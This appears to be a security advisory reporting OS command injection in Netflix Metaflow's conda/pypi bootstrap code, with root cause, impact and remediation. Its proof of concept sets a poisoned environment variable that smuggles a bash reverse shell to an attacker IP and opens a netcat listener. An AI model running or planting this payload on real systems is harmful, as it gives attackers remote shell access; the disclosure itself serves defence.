BUG: OS COMMAND INJECTION TRONG NETFLIX/METAFLOW

[chinhnguyen007]

General Information

Affected Product: Netflix Metaflow
Vulnerable Component: Environment bootstrap layer inside the following files:

• metaflow/plugins/pypi/bootstrap.py (specifically within create_conda_environment)
• micromamba.py
• uv/bootstrap.py

Vulnerability Type: OS Command Injection (CWE-78)
Severity: Critical
Privileges Required: None (Unauthenticated)
Attack Vector: Remote

Description

The environment bootstrap layer in Metaflow—responsible for initializing virtual environments for @conda or @pypi steps—is vulnerable to OS Command Injection.
When generating these environments, the framework utilizes Python f-strings to directly interpolate internal configuration parameters and environment variables (such as {conda_pkgs_dir} and {prefix}) into raw shell command templates. These constructed strings are subsequently executed via subprocess.run(..., shell=True) without any prior validation, filtering, or escaping of shell metacharacters.

##Flaw Mechanism & Occurrences
Vulnerable Location: bootstrap.py (Lines 226–242)
Vulnerable Function: create_conda_environment (prefix, conda_pkgs_dir)

Technical Breakdown:

Line 226 (Injection Point): The function uses a Python f-string to directly interpolate the unsanitized {conda_pkgs_dir} input variable into a raw shell command string:

cmd = f'ls -d {conda_pkgs_dir}/*/* >> "$tmpfile";'

Line 242 (Execution Point): This constructed command string (cmd) is passed into run_cmd(cmd), which internally invokes subprocess.run(..., shell=True).

Root Cause: Because shell=True is enabled, the underlying system shell interprets shell metacharacters (such as semicolons ;, &, or |). If an attacker manipulates the input variable to contain these characters, they can short-circuit the intended execution flow and force the system to run arbitrary payloads.

Exploitation Scenario & Proof of Concept (PoC)

In automated enterprise MLOps architectures, Metaflow executions are regularly triggered by external webhooks, automated CI/CD pipelines, or public-facing API events. An unauthenticated remote attacker can manipulate upstream inputs (e.g., public repository names, automated event metadata, or configuration variables) that dynamically feed into these environment parameters, bypassing local system authentication entirely.

Step-by-Step Exploitation:

1. Attacker Machine (192.xxx.xxx.xx): Open a network listener to capture the incoming reverse connection using Netcat:

   nc -lvnp 4444

2. Target System (Victim Simulation): Simulate an untrusted input payload being fed into the system configuration by exporting a poisoned string into the METAFLOW_CONDA_PACKAGES_DIR parameter:

export METAFLOW_CONDA_PACKAGES_DIR="/tmp/pkgs; bash -i >& /dev/tcp/192.xx.xxx.xxx.xxx/4444 0>&1 #"

3. Trigger Execution: Run a default pipeline execution to initiate the environment building process:

METAFLOW_ENVIRONMENT=conda python victim_flow.py run

Result Verification:

During the Bootstrapping virtual environment(s) ... stage, Metaflow interpolates the poisoned directory string into its command template, resulting in the following execution:

ls -d /tmp/pkgs; bash -i >& /dev/tcp/192.xxx.xxx.xx/4444 0>&1 #/*/* >> "$tmpfile";

Because shell=True is active, the system treats the semicolon ; as a command separator, short-circuits the native framework execution, and instantly spawns an interactive reverse shell pointing directly back to the attacker's terminal. The attacker successfully gains interactive command access (whoami, id) with the privileges of the running worker.

Impact

• Full System Compromise (RCE): Exploiting this vulnerability grants unauthenticated remote attackers arbitrary code execution within the security context and privileges of the underlying Metaflow worker process.
• Infrastructure Escape & Lateral Movement: Since Metaflow orchestrates heavy computing on production clusters (e.g., Kubernetes, AWS Batch), executing arbitrary shell commands allows an attacker to break out of the runtime container bounds to access sensitive host files, intercept network traffic, and move laterally across the internal enterprise network.
• Cloud Credential Leakage: In standard deployment environments, the compromised worker process often has direct access to high-privileged Cloud IAM roles, environment tokens, and datastore secret keys. Attackers can exfiltrate these credentials to permanently compromise the broader cloud infrastructure.
• Data & Pipeline Poisoning: Attackers can manipulate machine learning artifacts, inject backdoors into production training pipelines, or cause catastrophic distributed Denial of Service (DoS) by wiping out compute nodes and underlying storage.

Remediation Recommendations

• Avoid shell=True: Refactor the command execution mechanism to pass arguments as a structured list rather than a single raw string, and explicitly set shell=False. This prevents the shell from interpreting malicious metacharacters.
• Input Sanitization and Validation: Implement strict allowlists or structural validation for directory paths and configuration variables. Never use string formatting (like f-strings) to construct raw terminal commands out of untrusted or variable data.